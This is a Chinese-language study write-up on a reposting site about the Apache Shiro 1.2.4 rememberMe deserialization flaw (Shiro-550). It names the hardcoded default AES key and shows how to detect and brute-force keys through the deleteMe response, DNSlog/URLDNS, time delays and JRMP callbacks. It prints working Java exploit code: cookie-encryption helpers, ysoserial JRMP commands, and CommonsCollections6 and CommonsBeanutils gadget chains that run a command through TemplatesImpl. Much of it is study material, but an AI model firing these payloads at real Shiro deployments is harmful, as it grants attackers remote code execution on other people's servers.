shiro-550學習


環境

這里是使用的P牛提供的環境【shiro1.2.4】
https://github.com/phith0n/JavaThings/blob/master/shirodemo

漏洞原理

根據漏洞描述,Shiro≤1.2.4版本默認使用CookieRememberMeManager,當獲取用戶請求時,大致的關鍵處理過程如下:

獲取rememberMe值 -> Base64解密 -> AES解密 -> 調用readobject反序列化操做

Shiro v1.2.4中使用RememberMe功能時,使用了AESCookie進行加密,但AES密鑰硬編碼在代碼中且不變,因此可以進行加密解密,並觸發反序列化漏洞完成任意代碼執行。

加密過程

org/apache/shiro/mgt/DefaultSecurityManager.java代碼的rememberMeSuccessfulLogin方法下斷點。

image-20220203112758424

跟進onSuccessfulLogin方法

image-20220203112934946

調用forgetIdentity方法對subject進行處理。subject可以理解為用戶,對於用戶的安全操作等
https://blog.csdn.net/qq_21046665/article/details/79735922

跟進forgetIdentity先是獲取request和response然后繼續調用forgetIdentity

image-20220203113426590

getCookie就是獲取cookie,removerFrom其實就是在respons頭部設置Set-Cookie:rememberMe=deleteMe

image-20220203113910793

回到onSuccessfulLogin如果設置RememberMe進入rememberIdentity

if (isRememberMe(token)) {
    rememberIdentity(subject, token, info);
}

rememberIdentity方法代碼中,調用convertPrincipalsToBytes對用戶名進行處理。

protected void rememberIdentity(Subject subject, PrincipalCollection accountPrincipals) {
    byte[] bytes = convertPrincipalsToBytes(accountPrincipals);
    rememberSerializedIdentity(subject, bytes);
}

進入convertPrincipalsToBytes調用serialize對用戶名進行處理。

protected byte[] convertPrincipalsToBytes(PrincipalCollection principals) {
    byte[] bytes = serialize(principals);
    if (getCipherService() != null) {
        bytes = encrypt(bytes);
    }
    return bytes;
}

跟進serialize方法來到org/apache/shiro/io/DefaultSerializer.java,顯然對用戶名進行了序列化操作

image-20220203115021213

再回到convertPrincipalsToBytes,接着對序列化的數據進行加密,跟進encrypt方法。加密算法為AES,模式為CBC,填充算法為PKCS5Padding。

image-20220203115248426

然后入跟進encrypt

protected byte[] encrypt(byte[] serialized) {
    byte[] value = serialized;
    CipherService cipherService = getCipherService();
    if (cipherService != null) {
        ByteSource byteSource = cipherService.encrypt(serialized, getEncryptionCipherKey());
        value = byteSource.getBytes();
    }
    return value;
}

其中getEncryptionCipherKey()進過尋找他是獲取加密的密鑰,在AbstractRememberMeManager.java定義了默認的加密密鑰為kPH+bIxk5D2deZiIxcaaaA==。

image-20220203115800552

加密完成之后返回rememberIdentity進入rememberSerializedIdentity

image-20220203120342461

對加密的bytes進行base64編碼,保存在cookie中

image-20220203120609538

解密過程

KEY構造Payload正確的情況

對cookie中rememberMe的解密代碼也是在AbstractRememberMeManager.java中實現。直接在getRememberedPrincipals下斷點。

image-20220203122212478

getRememberedSerializedIdentity返回解碼后的bytes

image-20220203122329090

返回getRememberedPrincipals到進入convertBytesToPrincipals

image-20220203122501641

進行解密然后返回bytes數據

image-20220203122532068

進入deserialize(bytes),這里提醒下deserialize類型是PrincipalCollection后面需要用上

image-20220203122843187

進行反序列化返回,其中有一些坑需要注意ClassResolvingObjectInputStream ObjectInputStream的子類,其重寫了 resolveClass 方法,這個后面再提吧。

image-20220203123120043

KEY正確Payload錯誤的情況1

解密錯誤會直接拋出異常到

image-20220203132244022

跟進之后到forgetIdentity(context)也就和上面加密那個一樣了設置respons頭部設置Set-Cookie:rememberMe=deleteMe

KEY正確Payload錯誤的情況2

還有一種情況是在反序列化的 gadget 實際上並不是繼承了 PrincipalCollection ,所以這里進行類型轉換會報錯。也就是我們上面提到的查看類型的坑一,后面流程和上面也是一樣了。
image-20220203133342615

漏洞檢測與Key的獲取

檢測Shiro當然第一步是檢測該WEB站點是否使用了Shiro,最簡單的方法就是請求的Cookie添加rememberMe=xxx,然后看響應是否返回Set-Cookie: rememberMe=deleteMe。

image-20220203131211692

其次我們的Key以及gadget都是未知的,如果對KEY和gadget進行遍歷嘗試,那枚舉的次數就是笛卡爾積
並且KEY都沒檢測出來跑gadget也是無用功。

依賴shiro自身進行key檢測

所以根據上面提到的解密的流程,要想達到只依賴shiro自身進行key檢測,只需要滿足兩點:

1.構造一個繼承 PrincipalCollection 的序列化對象。
2.key正確情況下不返回 deleteMe ,key錯誤情況下返回 deleteMe

基於這兩個條件下 SimplePrincipalCollection這個類自然就出現了,這個類可被序列化,繼承了 PrincipalCollection

public class PrincipalCollection_shiro {
    public static void main(String[] args) throws IOException, InterruptedException {
        SimplePrincipalCollection simplePrincipalCollection = new SimplePrincipalCollection();
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream obj = new ObjectOutputStream(barr);
        obj.writeObject(simplePrincipalCollection);
        AesCipherService aes = new AesCipherService();
        byte[] key =java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");
        ByteSource ciphertext = aes.encrypt(barr.toByteArray(), key);
        System.out.printf(ciphertext.toString());
        obj.close();
    }
}

當Key正確時不返回rememberMe=deleteMe

image-20220203133809098

當Key錯誤時返回rememberMe=deleteMe

image-20220203133848025

結合Dnslog與URLDNS檢測Key

如果目標機器出出網我們也可以使用URLDNS進行探測,可以在對應的頭部添加Key的前綴來進行爆破Key,代碼也是直接使用ysoserial的即可。需要注意的是使用URLDNS檢測后DNSLOG平台存在DNS記錄並不完全等同於可以出外網,還有可能是目標只支持DNS解析,但是TCP協議等是不能出外網。其次,可以通過CommonBeanutils1等其他gadget執行wget或者curl命令,這里需要考慮操作系統情況,Windows則是certutil等命令。

image-20220203135124000

利用時間延遲或報錯

時間延遲

可以利用createTemplatesImplTime鏈創建即可對於沒有使用createTemplatesImplTime鏈的進行反射+Transformer創建就OK。

Thread.currentThread().sleep(10000L);

報錯

需要考慮java異常的返回報錯或者提示,大多時候這是一種不可靠的方法

String result = "shiro-Vul-Discover";
throw new NoClassDefFoundError(new String(result));

利用JRMP協議

@xiashang師傅提供的思路,例如我們JRMPClient ‘xxx.dnslog.cn’可能目標機器並不支持DNS解析,但是他是出網的,所以可以我們VPS監聽然后Client反連我們的vps我們VPS去dnslog檢測即可。

利用方式

這里以兩種方式來記錄學習。一種是有commons-collections-3.2.1依賴另一種是沒有依賴的情況來學習。因為自帶的shiro550用的是commons-collections-3.2.1,當然目標機器如果沒裝也是可以正常運行沒問題的。

有依賴的利用鏈

經過上面的知識我們也已經知道了,shiro的利用流程。所以我們先直接用cc6生成exp盲打

image-20220209175053951

無法加載類名為cc.Transfomer的類[[代表是一個數組

這里直接說結論吧TomcatJDKClasspath是不公用且不同的,Tomcat啟動時,不會用JDKClasspath,需要在catalina.sh中進行單獨設置。所以我們不能包含非java自身數組。

建議閱讀以下文章及其自己調試理解更加深刻:

https://xz.aliyun.com/t/7950#toc-3
https://blog.zsxsoft.com/post/35

這里前輩們大概提供的方法也是很多列舉兩個。一個是JRMP一個是無數組

JRMP

orange師傅在此文提到了JRMP來反彈shell,JRMP原理可以看上一文。

http://blog.orange.tw/2018/03/pwn-ctf-platform-with-java-jrmp-gadget.html

java -jar ysoserial.jar ysoserial.payloads.JRMPClient "127.0.0.1:9997" > 2
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 9997 CommonsCollections6 "calc"

生成base64編碼的byte流代碼

public class shiro_jm {
    public static void main(String[] args) throws IOException {
        File file = new File("C:\\Users\\Administrator\\Desktop\\2");
        FileInputStream inputFile = new FileInputStream(file);
        byte[] buffer = new byte[(int)file.length()];
        inputFile.read(buffer);
        AesCipherService aes = new AesCipherService();
        byte[] key =java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");
        ByteSource ciphertext = aes.encrypt(buffer, key);
        System.out.printf(ciphertext.toString());
    }
}

image-20220210001800361

CommonsCollectionsK1鏈

我們在CC3學的TemplatesImpl就要登場了。其中cc3也是包含Transformer[]

Transformer[] transformers = new Transformer[]{
    new ConstantTransformer(obj),
    new InvokerTransformer("newTransformer", null, null)
};

cc6又用到了TiedMapEntry類,他有兩個參數,因為我們用到了ConstantTransformer這個類所以我們不需要管key的內容到底是什么就可以RCE

    public TiedMapEntry(Map map, Object key) {
        super();
        this.map = map;
        this.key = key;
    }

但是因為不能用ChainedTransformer所以我們查看TiedMapEntry類的key,此類下面有getValue調用了map的get方法,並傳入key:

public Object getValue() {
	return map.get(key);
}

當這個map是LazyMap時,其get方法就是觸發transform的關鍵點

public Object get(Object key) {
// create value for key if key is not currently in the map
    if (map.containsKey(key) == false) {
        Object value = factory.transform(key);
        map.put(key, value);
        return value;
	}
	return map.get(key);
}

所以就比較巧我們直接把構造好的對象放到key的位置就可以了。

構造惡意對象

public class HelloTemplatesImpl extends AbstractTranslet {
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
    }
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}
    public HelloTemplatesImpl() throws IOException, NoSuchMethodException, ClassNotFoundException, InvocationTargetException, IllegalAccessException, InterruptedException {
        super();
//        Thread.currentThread().sleep(10000L);
        Runtime.getRuntime().exec("calc.exe");
    }
}

cc6_Templates

public class cc6_Templates {
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }

    public static void main(String[] args) throws Exception {

        TemplatesImpl obj = new TemplatesImpl();
        setFieldValue(obj, "_bytecodes", new byte[][]{
                ClassPool.getDefault().get(HelloTemplatesImpl.class.getName()).toBytecode()
        });
        setFieldValue(obj, "_name", "HelloTemplatesImpl");
        setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());

        Transformer transformer = new InvokerTransformer("toString", null, null);
        Map innerMap = new HashMap();
        Map outerMap = LazyMap.decorate(innerMap, transformer);

        TiedMapEntry tme = new TiedMapEntry(outerMap, obj);

        Map expMap = new HashMap();
        expMap.put(tme, "valuevalue");

        outerMap.clear();
//        outerMap.remove("valuevalue");
        setFieldValue(transformer, "iMethodName", "newTransformer");
        serialize(expMap);
        unserialize("cc6_templates.bin");
    }
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("cc6_templates.bin"));
        oos.writeObject(obj);
    }
    public static void unserialize(String filename) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
        Object obj = ois.readObject();
        System.out.println(obj);
    }
}

image-20220210003815890

無依賴的利用方式

上面在利用方式也說到shiro無commons-collections也是可以正常使用的,我們現在嘗試把maven里面的cc依賴注釋掉我們可以看到Commons-beanutils包是存在的

commons-beanutils本來依賴於commons-collections,但是在Shiro中,它的commons-beanutils
然包含了一部分commons-collections的類,但卻不全。這也導致,正常使用Shiro的時候不需要依賴於commons-collections,但反序列化利用的時候需要依賴於commons-collections

image-20220210004111686

學過Commons Beanutils鏈的人應該清楚干嘛的,這里簡單介紹一下。

commons-beanutils中提供了一個靜態方法 PropertyUtils.getProperty ,讓使用者可以直接調用任
JavaBean的getter方法,比如:

PropertyUtils.getProperty(new Cat(), "name");

就不需要去手動輸入getname函數調用了。

而我們使用commons-beanutils鏈的時候需要用到BeanComparator類,而初始化BeanComparator會調用
org.apache.commons.collections.comparators.ComparableComparator類所以我們還是得使用commons.collections包

image-20220210012142424

image-20220210012253132

我們再去看下BeanComparator的構造函數看下comparator是否可控呢是否可以替換掉commons.collections下的comparator呢?

image-20220210012428884

我們發現是可以通過傳參控制的如果不傳參就默認使用commons.collections類

所以我們現在需要找到一個類來替換它,當然需要滿足一些條件:

  • 實現 java.util.Comparator 接口

  • 實現 java.io.Serializable 接口

  • Java、shiro或commons-beanutils自帶,且兼容性強

根據P牛的文章找到的類是 CaseInsensitiveComparator,當然還可以使用java.util.Collection$ReverseComparator

public static final Comparator<String> CASE_INSENSITIVE_ORDER
= new CaseInsensitiveComparator();

這個 CaseInsensitiveComparator 類是 java.lang.String 類下的一個內部私有類,其實現了
Comparator 和 Serializable ,且位於Java的核心代碼中,兼容性強,是一個完美替代品

public class CommonsBeanutils_shiro {
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }
    public static void main(String[] args) throws Exception {
        TemplatesImpl obj = new TemplatesImpl();
        setFieldValue(obj, "_bytecodes", new byte[][] {
                ClassPool.getDefault().get(HelloTemplatesImpl.class.getName()).toBytecode()
        });
        setFieldValue(obj, "_name", "HelloTemplatesImpl");
        setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());

//        Comparator comparator = new TransformingComparator(transformer);
//        BeanComparator comparator = new BeanComparator();
        BeanComparator comparator = new BeanComparator(null,String.CASE_INSENSITIVE_ORDER);
        PriorityQueue priorityQueue = new PriorityQueue(2, comparator);
        priorityQueue.add("1");
        priorityQueue.add("1");
        setFieldValue(comparator, "property", "outputProperties");
        setFieldValue(priorityQueue, "queue", new Object[]{obj, obj});

        serialize(priorityQueue);
        unserialize("CommonsBeanutils.bin");

    }
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("CommonsBeanutils.bin"));
        oos.writeObject(obj);
    }
    public static void unserialize(String filename) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
        Object obj = ois.readObject();
        System.out.println(obj);
    }
}

那我們直接打過去會發現

image-20220210013708653

serialVersionUID不一致

如果兩個不同版本的庫使用了同一個類,而這兩個類可能有一些方法和屬性有了變化,此時在序列化通
信的時候就可能因為不兼容導致出現隱患。因此,Java在反序列化的時候提供了一個機制,序列化時會
根據固定算法計算出一個當前類的 serialVersionUID 值,寫入數據流中;反序列化時,如果發現對方
的環境中這個類計算出的 serialVersionUID 不同,則反序列化就會異常退出,避免后續的未知隱患【來自p牛】

因為我們環境版本是1.8.3而我們序列化對象commons-beanutils是1.9.2所以當我們兩個版本相同的時候

image-20220210013838262

還有很多的利用手法,以及內網不出網等復雜情況。后面再一一學習。

參考:

https://sec-in.com/article/468
https://blog.zsxsoft.com/post/35
https://sec-in.com/article/468
https://www.anquanke.com/post/id/192619#h2-2
https://xz.aliyun.com/t/7950#toc-3
http://blog.orange.tw/2018/03/pwn-ctf-platform-with-java-jrmp-gadget.html
http://www.lmxspace.com/2020/08/24/%E4%B8%80%E7%A7%8D%E5%8F%A6%E7%B1%BB%E7%9A%84shiro%E6%A3%80%E6%B5%8B%E6%96%B9%E5%BC%8F/


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM